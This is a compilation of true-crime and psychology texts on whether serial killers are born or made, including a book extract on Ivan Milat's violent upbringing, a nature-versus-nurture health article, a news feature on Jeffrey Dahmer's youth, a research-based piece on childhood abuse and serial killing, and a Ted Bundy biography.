On 9 July 1947, with their first harvest in, the clan Milat expanded once more with the birth of child number seven, William Allan.

Though only seven, Alex was old enough to help with the gardens and his reward was independence with the air gun.

Dad once again built him a small target range in a corner of the block. He also had guardianship of the crop.

He'd sit there after school shooting any bird that came within cooee of the garden or the chook feed. By the time he was eight, he was using a shotgun.

Steven thought he made sure Alex handled it with respect, but at that age, how good can you be?

One afternoon Alex saw a flock of birds on the roof. They were an easy shot.

He ran inside and got the shotgun, aimed and fired, peppering bird shot through the fibro wall of the living room.

Loud Croatian swear words boomed out of the house followed by the sound of heavy feet on a wooden floor.

Steven had not insisted his children learn his native tongue but Alex knew what the words meant: he was in big strife.

By the time Steven reached the door, Alex had covered the hundred or so yards to the back fence like a champion athlete and disappeared into the bushes. He stayed there for hours until Mum came looking at dusk to give him the all-clear.

That wasn't the first time Alex was in strife with guns. He and his little brother Boris were running around with their air guns playing cowboys and Indians, popping shots off at each other,

oblivious to the potential danger until, bullseye, a slug hit Boris right between the eyes, leaving a nasty red welt and causing a flood of tears.

They never played like that again. Over the years, Alex would instil his knowledge of weaponry and safety in all his younger brothers.

***

Life continued. The tomatoes did well. Mum gave birth to child number eight, Michael Gordon, on 29 July 1949.

There was no time for outings like picnics, just the occasional trip into the city when Steven wanted to see a friend on the docks, or on an incoming vessel.

He was still known among the wharfies, who'd call out his name. There was, however, a marked change in Dad's temperament.

He had taken to drinking heavily too often. It upset Margaret and his explosive outbursts scared the children, especially when he struck her.

Boris might run to his mum's defence, but was too small to do anything.

Margaret nagged Steven about his drinking, and making ends meet.

He gave her just as much lip back, about dinner not being ready when he wanted it, little things like that.

Then she'd say something like, 'you drunken bastard', and he'd snap, get up, grab her by the hair, and give her a whack across the back of the head while the little ones cowered.

She'd threaten to leave him; Steven couldn't understand why, and would talk her out of it. It happened at least once a week.

Mum could be quite savage, too, with her hidings, though they were far between and few.

She hit Boris once with a knife for an indiscretion which disappeared from his memory, but the wound never did.

'Nearly cut me bloody arm off.'

Once, he was whacked so hard with a tomato stake it broke his arm.

He never felt frightened because it was over in a flash and, besides, it was normal.

Ivan copped it, too. They all did.

Before leaving Rossmore, Boris and Alex copped one justified flogging.

Playing around the sheds, they had come across Dad's stash of a couple of a hundred pounds hard-earned, hidden in an old biscuit tin.

Boris found some matches and, having no concept of money, set fire to some of it.

Though only about seven, he never forgot that hiding.

***

Summer in Sydney was muggy, wet and windy, and Alex Milat was dreaming of snakes again. He and his wife, Joan, had their own family of two kids to contend with, but he kept in regular contact with Mum and Dad.

Mum always took an interest in his dreams.

As children, when he or Olga dreamt of snakes, bad things followed. Never major dramas, just the odd broken bone or cut.

He told his mother about this latest dream over a cuppa during a weekend visit in late January.

There were three snakes: 'One's got a lump on the head. The second one has no teeth, and the third one's eyes are cut right down and crushed.'

A week later, another wet morning dawned. Ivan was still crashed out after coming home from a nightshift, when Wally took off down Campbell Hill Road taking Georgie and Margaret to work in his new car, barely six weeks out of the saleyard.

Despite the rain, he promised to get them there quick.

But they'd gone less than half a mile, over the waterpipes and right into Gurney Road, when disaster struck: bumps on a slippery bend; a pothole; faulty steering; a car coming the wrong way.

The reasons became blurred.

Mrs Milat was in the kitchen when Georgie came in, panting.

She thought it odd. Had he missed Wally's lift?

'What's wrong?'

He couldn't talk. Just sat down on the lounge, dazed. Then she saw the bruises and the lump on his head.

'What's wrong? What's happened to ya?'

Minutes passed before she got it out of him . . . an accident down the road . . . Margaret and Wally hurt . . . It's bad.

With Dad having left for work hours earlier, Mum rushed to Ivan.

'Get out of bed, Mac. Come quickly.'

'I'm sleeping.'

'There's been an accident. Get up quick.'

A crowd, some still in pyjamas, was milling about the car when they reached it.

No ambulance had arrived, nor police.

Wally's face was all swollen and one of his legs was clearly busted up, but

Margaret was a frightful sight, her face a bloody mess.

She was unconscious after going headfirst through the windscreen.

'Don't move her,' said one of the crowd.

'Where's the ambulance?' Mum asked.

'It's all right. I rang them. One's on the way,' a woman said.

No one came forward with a towel or cloth to help stem the bleeding.

Ivan was trying to calm his mother, and look after both kids, but there was little he could do.

He stayed by Margaret's side, holding her, while Mum ran around, frantic in the morning stillness.

There were no sirens. She ran off, desperate to find out where the ambulance was. Three door-knocks later, she found a phone. The emergency operator knew nothing of the accident.

By the time an ambulance got there, twenty minutes had passed. A second arrived.

Wally and George were taken in one and Margaret in the other to Fairfield District Hospital.

The surgeons did all they could.

Margaret was in a coma, her face a purple quilt of 160 stitches from her eyebrows across and down to her throat.

Mrs Milat stayed there praying at her bedside and Ivan joined her.

A week turned to two and the doctors lost hope.

She was sixteen years and one month old when she died on Tuesday, 9 February

without regaining consciousness.

Wally missed the funeral. He was in hospital sucking soup through a straw between the wires holding his broken jaw together.

Boris and Ivan struck a truce for the funeral.

'We will hold peace for the day,' Mum told the pair. She always thought the [family] feud was just a matter of Boris' jealous streak.

Mrs Milat never gave up grieving for her youngest daughter.

None of Ivan's ill deeds or betrayals, no matter how bad, would ever compare to this pain.

Ivan lost what little faith he had in God that day. He rarely spoke about his little sister again, and people knew not to raise the subject.

***

It was an ill decision of Boris' to move Marilyn and the two girls close to his parents' home. The rented house in Mona Street, South Granville, was about a mile from 55 Campbell Hill Road.

'Are you still seeing him?' he demanded of Marilyn one day.

She denied it, but not convincingly enough. Boris demanded proof.

'I can't sustain this relationship unless I know,' he said. 'We'll end this relationship now . . . You can have him but you can't have the girls.'

She had to break it off with Mac or lose the girls.

Only her telling Ivan to his face - in Boris' presence - could settle things.

She got on the phone and rang Ivan while Boris watched. Mac wanted to see her one more time. Boris demanded to be present. They arranged to meet in a park that night. Boris drove her.

Ivan was waiting in his Ford. Marilyn got out and walked to his car, leaving Boris alone, watching.

She sat in the front seat with Ivan, just talking. They weren't there long but, to Boris, watching their silhouettes, their chat just seemed too pally, like they were laughing.

He imagined they were treating it as a big joke.

He got out of his car and barged into the back seat behind them.

'We're out of it. Okay, we're finished,' he yelled at Marilyn, his temper about to explode.

'No, it's all right. He's not going to have nothin' more to do with me,' Marilyn said.

Ivan backed her up: 'We're just sitting having a chat.'

Then Ivan said something smart. Boris' right fist flashed over the bench seat into Ivan's head, and then again. Jab, jab, jab.

Marilyn was screaming. Ivan couldn't fight backwards, so he picked up a torch from the seat and banged it into Boris as hard as he could.

The torch shattered, but Boris didn't feel a thing through his anger. He kept on into Ivan until his rage was spent, then got out of the car.

'You can have her, but you're not taking the children. If you want her . . . she's got to make up her mind what she's gunna do, but if she goes, she goes by herself. The girls stay.'

Marilyn still loved Ivan, but he didn't want the girls, he just wanted her all to himself. He didn't want the commitment of kids.

Or that's what he told her. She had to choose then and there, and she chose the kids.

And as she drove off with Boris, arguing already, she couldn't help fearing what he'd do to her when they got home.

Then Boris told her he was going to change; get her and the girls far away. Start a new life. Things were going to be better, he promised.

'We'll move to the Central Coast and get married. What do you think about that?'

'Okay,' she said.

They removed themselves to the sleepy bayside town of Umina north of Sydney. Marilyn never lost her feelings for Ivan, but she tried to believe she could grow to love Boris.

Ivan took the news of the marriage hard. A few weeks later he saw two girls hitching near Liverpool Station and pulled the Fairmont in to the kerb.

- extracted from SINS OF THE BROTHER by Mark Whittaker and Les Kennedy, published by Macmillan. New edition available from May 26.

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IN this exclusive book extract from Sins Of The Brother, we reveal the domestic violence, death and dysfunction that made Ivan Milat a killer. Rossmore - on the south-western outskirts of Liverpool, itself on the outer south-western fringe of Sydney - was in the sticks.

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Mind map and brainstorm online with Bubbl.us! Create colorful mind maps to print or share with others. Millions of people are using Bubbl.us worldwide to generate ideas, map out processes and create presentations.

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What is nature vs. nurture?

Nature vs. nurture affects our mental and physical health.

In the context of the nature vs. nurture debate, "nature" refers to biological/genetic predispositions' impact on human traits, and nurture describes the influence of learning and other influences from one's environment. The debate over whether the strengths and weaknesses of people are the results of nature or nurture has, and somewhat continues to rage on between scholars and laypeople alike. This debate has had significant social implications, particularly concerning what is thought to determine people's ability to learn/intelligence.

How does nature vs. nurture affect our genes?

Most conventional theories of nature vs. nurture consider the differences in humans a result of elements of both your genetic makeup and your environment.

How does nature vs. nurture affect our mental and physical health?

It is understood that certain physical traits, as well as the susceptibility to most physical and mental health disorders, tend to run in families. Specifically, whatever illnesses your parents, grandparents, siblings, and other biological family members have does not guarantee you will inherit them, but it does increase the likelihood that you may develop them.

On the other hand, it is understood that environmental factors often have a significant effect on whether or not you develop the health problems that run in your family. (You can change your gene expressions).

A couple of examples of how the environment (nurture) can provide a benefit, and possibly decrease your risk of getting an illness from your family are:

If you are at risk for heart disease or diabetes, eat a healthy diet and exercise.

If you are at risk for other conditions, for example, breast or colon cancer, get regular health screenings like mammograms and colonoscopies per your doctor's recommendations.

Examples of how negative environmental influences can affect genetic expression include:

Exposure to community violence increases the likelihood of anxiety

Depression and negative behaviors

Children who are exposed to secondhand smoke may develop cancers more often than those who do not have that experience.

Where did the nature vs. nurture theory come from?

The initial use of the Nature vs. Nurture theory was credited to psychologist Sir Francis Galton in 1869. However, it is unclear who initially described the impact of genes and biology versus environmental influences. Scientists, doctors, researchers, psychologists, behaviorists, and many others have debated these theories since Hippocrates was alive.

Around 400 B.C.E., Hippocrates described human behaviors as being biological, the result of four different body fluid types called the humors.

Yellow bile

Blood

Black bile

Phlegm

In contrast, many centuries later, philosophers Jean-Jacques Rousseau and John Locke independently thought that people are born as blank slates (i.e. "tabula rasa") and that their eventual individual differences develop solely due to the result of environmental influences. Twentieth-century behavioral psychologist John Watson shared a similar perspective, believing that the events that take place during early childhood have far more influence on what kind of adults we become compared to the effects of our genes.

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What are examples of nature vs. nurture?

While certain physical traits like skin and eye color and diseases like sickle cell anemia and Huntington's chorea are the result of direct genetic inheritance, virtually any pattern of thinking or behavior can be understood from the perspective of a combination of nature and nurture. In the animal kingdom, domestication of many species is understood to be the result of encouraging domesticated behaviors (nurture), then having animals that most successfully adopt those behaviors breed with each other so it becomes part of their nature.

In humans, many studies in more than the past 20 years involve identical or fraternal twins who are separated at birth. The question of nature vs. nurture somewhat continues to be debated concerning human behavior, intelligence, and the development of personality traits.

Is our intelligence based on nature or nurture?

As with most human traits, intelligence is now understood to be the result of some combination of both nature and nurture. While genes have a great influence on the size and biochemistry of the brain, their full development does not usually occur until after the first 20 years of life. Also, the heredity of intelligence tends to vary between different aspects of cognition.

Intelligence and subsequent learning also are viewed as being largely molded by the environment the person grows up in, both before and after birth. Therefore, to reduce your risk of inheriting diseases or illnesses from your family (or passing them on to your children):

Eat a healthy diet.

If you are pregnant, don't drink alcohol or use other illegal drugs. Check with your doctor or pharmacist to make sure that any current drugs or supplements you are taking will not harm your baby.

It is imperative to have safe communities and schools that nurture learning and confidence for all children so that the quest can continue to promote high cognitive development in each child.

Medically Reviewed on 3/18/2022

Bouchard TJ. Genes, environment and personality. Science. 1994 June; 264: 1700-1701.

Bynum WF. The childless father of eugenics. Science. 2002; 296, 472.

Duschinsky R. Tabula rasa and human nature. Philosophy 2012; 87(4): 509-529.

European College of Neuropsychopharmacology. "Intelligence: more nature than nurture?" Science Daily. October 2007 .

Haggbloom SJ, Warnick JE, Jones VK, et al. The 100 most eminent psychologists of the 20th century. Review of General Psychology 2002; 6(2): 139-152.

Kan KJ, Wicherts JM, Dolan CV, et al. "On the nature and nurture of intelligence and specific cognitive abilities." Psychological Science. October 2013.

Lynch K. "Genes are not destiny: environment and education still matter when it comes to intelligence." The Conversation. August 2016.

Nesterak E. "The end of nature versus nurture." The Psych Report. July 2015.

Psychology Encyclopedia. Nature-Nurture Controversy. Genes and Behavior. 2017: 1106-1138.

Complete List

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nature vs. nurture theory explained: effects on genes and intelligence

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Nature vs. Nurture: Examples, Effects on Genes, Mental & Physical Health

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Read about nature vs. nurture examples. The nature vs. nurture theory has been discussed since Hippocrates was alive. Nature refers to how our genetic makeup affects our physical and mental health, while nurture refers to how our environment affects our physical and mental health.

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There is no easy explanation for Jeffrey Dahmer.

In semi-rural Bath Township--where he witnessed his parents at war; where he collected animals' bones and carcasses; where he first took to drink; where in a single year he attended his senior prom and, he says, killed his first man--there are abundant clues to a burgeoning evil.

But there are no simple answers to the mysteries of a monstrous heart. There are no signposts that say that this young man, though abused and afflicted, could grow up to kill 17 other young men.

"He's done monstrous acts, yet he's a human being. Why? Only Jeffrey can answer that," said Susan Lehr, a former neighbor.

Jeffrey Dahmer's father, Lionel, says that his son was sexually abused by a neighborhood boy when he was 8 years old, about the time the family moved here.

It is not clear what effect the episode had on the youngster. But it is certain that other unhappy events of childhood lingered, chief among them the bitter breakup of his parents' marriage.

Their divorce was granted on July 24, 1978, after each charged the other with "extreme cruelty and gross neglect of duty."

Acrimony continued; two years later, Joyce Dahmer called Bath Township police with a report of a shouting and shoving match with her ex-husband. There were no arrests.

"The police were out several times," Lehr said.

Her four sons were playmates of Dahmer's. "At the time I knew him, there was something devastating going on in his life and there wasn't anybody there to help him. I feel bad about that," she said.

During the divorce, Jeffrey Dahmer was left alone. His mother moved to Wisconsin with his younger brother, David; his father had moved out of the house. He was left with no food, no money and a broken refrigerator.

It was at that time, on June 18, 1978, Dahmer told police, that he killed his first victim: a hitchhiker brought back to the house for a couple of beers. Dahmer said he choked the man with a barbell, smashed the body to bits with a sledgehammer and scattered the pieces in his yard. A recent search turned up more than 500 pieces of bone.

"The guy wanted to leave and I didn't want him to leave," the 31-year-old Jeffrey Dahmer told police 13 years later.

The people who knew Dahmer in those days may not have known the depths of his loneliness, but they were well aware of his solitude, and of his penchant for bizarre behavior and odd pastimes.

Young Dahmer kept the bones of chipmunks, squirrels, dogs, cats, groundhogs and raccoons inside formaldehyde-filled pickle jars that lined his childhood clubhouse. He roamed the neighborhood for road kills that shared space in an old toolshed with spiders, praying mantises and other bugs in specimen jars.

Nearby was a cemetery that struck Dahmer's chums as even more bizarre.

"He had a little graveyard with animals buried in it. There were skulls placed on top of little crosses. He had quite a collection of skeletons," said Eric Tyson, 28, a former neighbor.

Schoolmate Mike Costlow told The Plain Dealer in Cleveland that Dahmer also collected stuffed rabbits, owls and small birds. When Costlow asked about taxidermy in 1978, Dahmer told him: "I always wanted to do that to a human."

In seventh grade, classmate Chip Crofoot noticed Dahmer sipping gin from his locker and coming to school drunk. "I don't remember much about him other than his drinking. He pretty much kept to himself all the time," Crofoot said.

Dahmer played clarinet and intramural tennis in school. He had a chemistry set and showed an early interest in biology. He made average grades because of a combination of A's and Ds.

Acquaintances recall Dahmer drawing chalk outlines of fictional bodies, faking epileptic fits at the mall, yelling out at inappropriate times and sneaking into the picture of the National Honor Society when he didn't belong. His face is blotted out of the group photo in the Revere High School yearbook.

Senior-prom date Bridget Geiger remembered Dahmer as painfully shy but polite: "He didn't say two words to me. He didn't even kiss me good night."

She said she attended a party at Dahmer's house several weeks later but left because it involved a seance and someone suggested contacting the devil.

Dahmer failed to get past the first semester at Ohio State University. He sold his blood to buy alcohol. He joined the Army on Dec. 29, 1978, but was discharged in 1981, about nine months before his hitch was up. Drinking again.

Army buddies who served with him as a medic in Germany said he mixed Beefeater martinis in his barracks from a briefcase that contained shakers, stirrers and fancy flasks. When he drank, he listened to Black Sabbath and other rock music on his headphones.

"He'd be shut out from the rest of the world. He'd drink until he passed out, then wake up and start again. He didn't even go out for chow," said David Rodriquez of Springfield, Mass.

"He was smart, but he just wanted to slide by," added Michael Masters of New York's Long Island. "He was just goofy. He always had that look about him, that sinisterness. He was on a steady decline in life. He was on a losing skid and didn't know how to pick himself up."

After the Army discharge, Dahmer worked at a sandwich shop in Florida and slept on the beach. He returned to Ohio, then went to live with his grandmother in the Milwaukee suburb of West Allis.

Some scrapes with the law hinted at an anger seething inside: an arrest for public drunkenness Oct. 7, 1981, in Ohio; disturbing the peace by dropping his pants in front of a crowd in Wisconsin on Aug. 7, 1982; lewd and lascivious behavior in Milwaukee on Sept. 8, 1986.

A 1988 allegation that he drugged an Illinois man and tried to take his money was dropped for lack of evidence by West Allis police.

During his stay at his grandmother's, Dahmer said he killed three times before he moved into a one-bedroom flat in a tough Milwaukee neighborhood.

Meanwhile, he was hired in 1985 as a laborer on the graveyard shift at the Ambrosia Chocolate Co. for $8.75 an hour.

In 1989, he was convicted of fondling a 13-year-old boy he had lured with the promise of $50 if the boy posed for pictures. His five-year sentence was suspended, and he served 10 months in a work-release program that allowed him to keep his night job at the chocolate factory.

Dahmer told police the killings resumed when his time in the work-release program was up.

Then, last July 14, he was fired from his job for chronic absenteeism.

On July 22, a handcuffed man escaped from his apartment and alerted police; they found the remains of 11 bodies Dahmer admitted dismembering, including four heads in a refrigerator and freezer plus seven acid-washed skulls.

In all, Dahmer admitted strangling and butchering 17 males over a 13-year period. He told police he had sex with four of the corpses, and he saved the heart of one victim "to eat later."

This is the life trail left behind by Jeffrey Dahmer--a trail that experts hope will lead them to some understanding of why he did what he did.

David Silber, a psychologist at George Washington University, pointed to the animal remains Dahmer collected as a youth. "His behavior didn't change. The objects changed," Silber said.

"This is a person that is very deficient in some ways. His character probably wasn't very strong to begin with, and it got beaten down by ways in which he was treated throughout life," the psychologist said.

"If there's anything monstrous about him, it's the monstrous lack of connection to all things we think of as being human--guilt, remorse, worry, feelings that would stop him from hurting, killing, torturing," he said.

Park Dietz, a forensic psychiatrist from Newport Beach, Calif., said that of the serial killers he studied, 58% strangled their victims.

"It's a very personal, intimate means. One can actually feel the victim expire, see them go into convulsions and hear the last efforts to breathe," said Dietz, a consultant to the FBI.

Dietz also said serial killers are apt to photograph their work, make a journal and keep trophies--either body parts or articles of clothing.

"In absolute contrast to the stereotype, they are the most controlled, calculated, cunning offenders," Dietz said. "What's so hard for people to understand is that their level of desire and need to do it is the same as the ordinary man's desire to have ordinary sexual relations."

An FBI report completed in the 1970s notes that serial killers almost always are white males, loners from troubled homes who are smart but underachieving. There often is physical, sexual or psychological abuse as a child. As adolescents, they show cruelty to animals about 46% of the time.

An essential feature is being sexually aroused by their bloody handiwork. The victims are merely objects--"These were sexual props, not people," Dietz said.

And killing does give them pleasure. "They keep souvenirs to remember their fondest moments," said James Fox, a criminologist at Northeastern University and co-author of "Mass Murder: America's Growing Menace."

No one is discounting sexual perversity as a factor in the Dahmer murders. But police also blame the profound loneliness that has afflicted Dahmer for a very long time. He was quoted by a detective as saying that he believed the body parts would keep him company.

"He killed them so they wouldn't leave," an investigator said, speaking on the condition of anonymity. "He didn't want anybody else to leave him."

Martha Schmidt, a sociology professor at Capital University in Columbus, Ohio, knew Dahmer in high school, before the killing started. He was the first victim, she suggests; had he been saved, there would have been no others.

"He was tortured and lost at a very early age," she said. "His behavior was always on the edge. He seemed to cry out for help, but nobody paid any attention to him at all."

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Murder in Milwaukee: Experts Struggle to Explain Dahmer's Compulsion : Crime: His behavior was always on the edge, childhood acquaintances say. But no one intervened to help him, and his problems escalated.

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There is no easy explanation for Jeffrey Dahmer. In semi-rural Bath Township--where he witnessed his parents at war; where he collected animals' bones and carcasses; where he first took to drink; where in a single year he attended his senior prom and, he says, killed his first man--there are abundant clues to a burgeoning evil.

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Deeply traumatic experiences, especially during childhood, can have an even deeper impact in adult life. They can significantly shape an individual's personality and life choices, spurring research into the connection between childhood abuse and criminal behavior. In particular, the extent of childhood abuse reported among serial killers has raised the question: Are serial killers born or made?

Nature vs Nurture

Not all abused children become serial killers, and not all serial killers are victims of childhood abuse. However, the connection between the two cannot be dismissed as just coincidence.

According to criminologist Dr Adrian Raine, both biologic and social factors contribute to the making of a murderer. Reviews of more than 100 twin and adoption analyses showed that approximately 50% of variance in antisocial behavior is attributable to genetic influences. ¹ In his book, The Anatomy of Violence, Dr Raine explains that "Genetics and environment work together to encourage violent behavior." For example, those with a specific variant of the enzyme monoamine-oxidase-A gene are more prone to displaying violent behavior if they have had an abusive upbringing. A child susceptible to genetically driven violent conduct does not necessarily become a criminal. However, genetics, in tandem with environmental factors such as violent childhood experiences, work together to shape a person. ²

Personal traumas can affect behavioral choices. Take the example of the murderer Richard "The Night Stalker" Ramirez from El Paso, Texas. Found guilty of murdering 13 people in San Francisco and Los Angeles, Ramirez had a disturbed childhood, enduring brutal beatings by his father. Serial killer duo Ottis Toole and Henry Lee Lucas, who were believed to have murdered hundreds of people, were both victims of physical and psychological abuse. Specifically, they were made to dress up as young girls and then beaten. ³

The connection between genetics, social environment, and criminal behavior appears to be a reality, although in varying degrees across criminals. As Federal Bureau of Investigation (FBI) profiler Jim Clemente said, "Genetics loads the gun, their personality and psychology aim it, and their experiences pull the trigger." ³

Decoding the Criminal Mind

Understanding the factors that may contribute to serial killer behavior facilitates effective criminal profiling significantly. At a recent UK conference, researcher Abbie Marono presented findings from her work with ex-FBI profiler Joe Navarro on how different types of childhood abuse can be used to profile serial killers.

The study involved examining the association among 4 serial killer typologies - lust and rape, anger, power, and financial gain - and 3 categories of child abuse - psychological, sexual, and physical.

The results suggest that sexual abuse was potentially connected to the rape/lust and anger typologies. It was also associated with a tendency for overkill, postmortem sex, and moving the body to a different location from where the murder took place.

Psychological abuse was associated more with rape/lust and financial gain typologies. Acts of crime associated with childhood psychological abuse tended to involve torture.

In contrast, physical childhood abuse was found to be associated with the rape/lust typology, as well as behaviors such as carrying out the act quickly, binding the body, and leaving the body at the crime scene. ⁴

A landmark study of 50 serial killers found that childhood abuse was more prevalent in lust serial killers. One of the authors of this study, Michael G. Aamodt, explained, "Our data showed that a much higher percentage of serial killers were abused as children than the population in general. It certainly makes sense that the type of abuse received as a child - physical, sexual, or psychological - could influence a serial killer's behavior and choice of victim." While it is safe to recognize abuse as a factor contributing to the making of a serial killer, most people who face abuse do not become serial killers. In this study, 32% of all serial killers had no history of abuse. ⁵

In his book Serial Killers, Joel Norris describes the cycles of violence as generational: "Parents who abuse their children, physically as well as psychologically, instill in them an almost instinctive reliance upon violence as a first resort to any challenge." ⁶ In another study, serial killers were analyzed to understand the variables of childhood mistreatment and sexual aggression toward victims. The researchers found that serial killers treated badly during childhood tended to sexually assault their victims before murdering them. On the other hand, serial killers who did not experience childhood abuse did not display sexually violent behavior. ⁷

In a study for the National Institute of Justice, Dr Herrenkohl and his colleagues found that childhood abuse heightened the risk for criminal behavior in adulthood by encouraging antisocial behavior during childhood. There was also evidence of a "cycle of violence" in people with a history of childhood maltreatment, with victims of childhood violence being more likely to demonstrate violence later in life. ⁸

A Complex Conundrum

Genetics, environment, trauma, and personality - various factors drive serial killer behavior. Generalizing the cause of criminal behavior would be presumptuous and inaccurate, but the link between childhood abuse and serial killing has been apparent in many studies over the decades. Beyond certain common personality traits, serial killers are unique, shaped by their own extraordinary experiences, circumstances, and mindsets. Whether genetic investigations like brains scans or behavioral studies to gauge serial killer tendencies prove to be groundbreaking in criminal profiling and crime prevention remains to be seen. However, with an extensive and ever-growing treasure trove of evidential research in this space, the key to understanding what makes a serial killer may be just around the corner.

References

1. Raine A. The biological crime: implications for society and the criminal justice system. Rev psiquiatr Rio Gd Sul. 2008;30:5-8.

2. Raine A. The Anatomy of Violence: The Biological Roots of Crime. New York: Pantheon Books; 2013.

3. Merryweather C. 15 Serial Killers Who Had the Childhood From Hell. The Talko. www.thetalko.com/15-serial-killers-who-had-the-childhood-from-hell. Updated June 20, 2016. Accessed May 29, 2018.

4. Marono A, Keatley D. A behaviour sequence analysis of serial killers' lives: from childhood abuse to methods of murder. Presented at: British Psychological Society Annual Conference; May 2-4, 2018; Nottingham, UK. Presentation 265.

5. Mitchell H, Aamodt MG. The incidence of child abuse in serial killers. J Police Criminal Psychol. 2005;20(1):40-47.

6. Norris J. Serial Killers. New York, NY: Doubleday Books; 1989.

7. De Santiago Herrero FJ, Delgado CT, García-Mateos M. Serial killers: relation between childhood maltreatment and sexual relations with the victims. Eur Psychiatry. 2017;41:S585-S586.

8. Pathways Between Child Maltreatment and Adult Criminal Involvement. National Institute of Justice. https://nij.gov/topics/crime/children-exposed-to-violence/Pages/pathways-between-child-maltreatment-and-adult-criminal-involvement.aspx. Updated October 12, 2017. Accessed May 29, 2018.

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From Abused Child to Serial Killer: Investigating Nature vs Nurture in Methods of Murder

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Deeply traumatic experiences, especially during childhood, can have an even deeper impact in adult life. They can significantly shape an individual's personality and life choices, spurring research into the connection between childhood abuse and criminal behavior. In particular, the extent of childhood abuse reported among serial killers has raised the question: Are serial killers born or made?

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Who Was Ted Bundy?

Ted Bundy was a 1970s serial murderer, rapist and necrophiliac. He was executed in Florida's electric chair in 1989. His case has since inspired many novels and films about serial killers.

Ted Bundy's Parents and Siblings

Eleanor Louise Cowell, who went by Louise, was 22 years old and unmarried when she gave birth to her son Ted. Ted's father may have been Lloyd Marshall, an Air Force veteran and a Penn State graduate, according to Ann Rule, a coworker of Ted's and the author of the book The Stranger Beside Me. Other sources had Ted's father's name as Jack Worthington, while some rumors had it that his father was also his grandfather. Because Ted's birth certificate lists his father as "unknown," his biological father's identity may never be confirmed.

In 1951, Louise married Johnnie Bundy. While Ted took his name, he reportedly didn't have much respect for his stepfather, whom he resented for being too uneducated and working class. Johnnie and Louise had several children together.

Louise was working as a secretary at the University of Puget Sound and still married to Johnnie in the 1970s when Ted was accused of his crimes. She refused to believe the charges for years, although she changed her stance after he confessed.

Early Life

Bundy was born in Burlington, Vermont, on November 24, 1946. Bundy started life as his mother's secret shame, as his illegitimate birth humiliated her deeply religious parents. Louise delivered Ted at a home for unwed mothers in Vermont and later brought her son to her parents in Philadelphia.

To hide the fact he was an illegitimate child, Bundy was raised as the adopted son of his grandparents and was told that his mother was his sister. Eleanor moved with Bundy to Tacoma, Washington, a few years later, and soon married his stepfather Johnnie.

From all appearances, Bundy grew up in a content, working-class family. He showed an unusual interest in the macabre at an early age. Around the age of 3, he became fascinated by knives. A shy but bright child, Bundy did well in school but not with his peers.

As a teenager, a darker side of his character started to emerge. Bundy liked to peer in other people's windows and thought nothing of stealing things he wanted from other people.

Photo: Getty Images

Education

Bundy graduated from the University of Washington with a degree in psychology in 1972. He had been accepted to law school in Utah, although he would never earn his degree.

While a student at the University of Washington, Bundy fell in love with a wealthy, pretty young woman from California. She had everything that he wanted: money, class and influence. He was devastated by their breakup. Many of Bundy's later victims resembled his college girlfriend-attractive students with long, dark hair.

By the mid-1970s, Bundy had transformed himself, becoming more outwardly confident and active in social and political matters. He even got a letter of recommendation from the Republican governor of Washington after working on his campaign.
READ MORE: How Ted Bundy's Education Facilitated His Career as a Serial Killer
Victims

Bundy confessed to 36 killings of young women across several states in the 1970s, but experts believe that the final tally may be closer to 100 or more. The exact number of women Bundy killed will never been known. His killings usually followed a gruesome pattern: He often raped his victims before beating them to death.

While there is some debate as to when Bundy started killing, most sources say that he began his murderous rampage around 1974. Around this time, many women in the Seattle area and in nearby Oregon went missing. Stories circulated about some of the victims last being seen in the company of a young, dark-haired man known as "Ted." He often lured his victims into his car by pretending to be injured and asking for their help. Their kindness proved to be a fatal mistake.

How Ted Bundy Was Caught

In the fall of 1974, Bundy moved to Utah to attend law school, and women began disappearing there as well. The following year, he was pulled over by the police. A search of his vehicle uncovered a cache of burglary tools-a crowbar, a face mask, rope and handcuffs. He was arrested for possession of these tools and the police began to link him to much more sinister crimes.

In 1975, Bundy was arrested in the kidnapping of Carol DaRonch, one of the few women to escape his clutches. He was convicted and received a one-to-15-year jail sentence.

Prison Escapes

Bundy escaped from prison twice in 1977. The first time, he was indicted on murder charges for the death of a young Colorado woman and decided to act as his own lawyer in the case. During a trip to the courthouse library, he jumped out a window and made his first escape. He was captured eight days later.

In December, Bundy escaped from custody again. He climbed out of a hole he made in the ceiling of his cell, having dropped more than 30 pounds to fit through the small opening. Authorities did not discover that Bundy was missing for 15 hours, giving the serial killer a big head start on the police.

Chi Omega Sorority House Break-In

After Bundy's second escape from prison, he eventually made his way to Tallahassee, Florida. On the night of January 14, 1978, Bundy broke into the Chi Omega sorority house at Florida State University. He attacked four of the young female residents, killing two of them. On February 9, Bundy kidnapped and murdered a 12-year-old girl named Kimberly Leach.

These crimes marked the end of his murderous rampage, as he was soon pulled over by the police that February.

The most damning evidence connecting Bundy to the two Chi Omega murders at FSU were bite marks on one of the bodies, which were a definitive match to Bundy.

DOWNLOAD BIOGRAPHY'S TED BUNDY FACT CARD

Trial

Bundy's good looks, charm and intelligence made him something of a celebrity during his trial. Bundy fought for his life but was convicted and spent nine years on death row appealing his death sentence.

Conviction, Death Sentences and Appeals

In July 1979, Bundy was convicted for the the two Chi Omega murders at FSU. He was given the death penalty twice. He received another death sentence in 1980 for the murder of Kimberly Leach.

Bundy appealed, trying to take his case as high as the U.S. Supreme Court, but he was turned down. He also offered information on some of unsolved murders to avoid Florida's electric chair, but he could not delay justice forever and was executed in 1989.

Elizabeth Kloepfer, Ted Bundy's Girlfriend

In 1969, Bundy began a six-year relationship with Elizabeth Kloepfer, whom he met in a Seattle bar. Kloepfer was a single mom of a young daughter and struggled with alcoholism. Bundy took care of her, and she said he was "warm and loving."

By 1974, Kloepfer started to suspect Bundy's crimes. When she questioned him about odd behaviors, like keeping a meat cleaver in his desk, he used his charm to deflect her concerns.

Kloepfer secretly went to the police with her suspicion of Bundy's involvement in prominent local murders, but they didn't believe he was the killer. The pair remained together, although they grew distant when Bundy moved to Olympia the following year.

In 1975, Kloepfer went to police again, this time with evidence that helped them to arrest the serial killer. Bundy had confessed to Kloepfer over the phone from his prison cell that he had tried to kill her and couldn't resist his impulses when he felt "his sickness building in him," she later wrote. She broke ties with Bundy for good and wrote a book about her experience.

Photo: Bettmann/Corbis/Getty Images

Wife and Daughter

In February 1980, Bundy married Carole Ann Boone, a mother-of-two whom he'd dated before his initial arrest, in a courtroom during the penalty phase of his trial. He proposed and she accepted in the presence of the judge, making the marriage legitimate in Florida. The couple had met six years earlier when they both worked at the Department of Emergency Services in Olympia, Washington.

Boone gave birth to a daughter, Rose, in 1982, and she named Bundy as the father. Not much is known about Rose today.

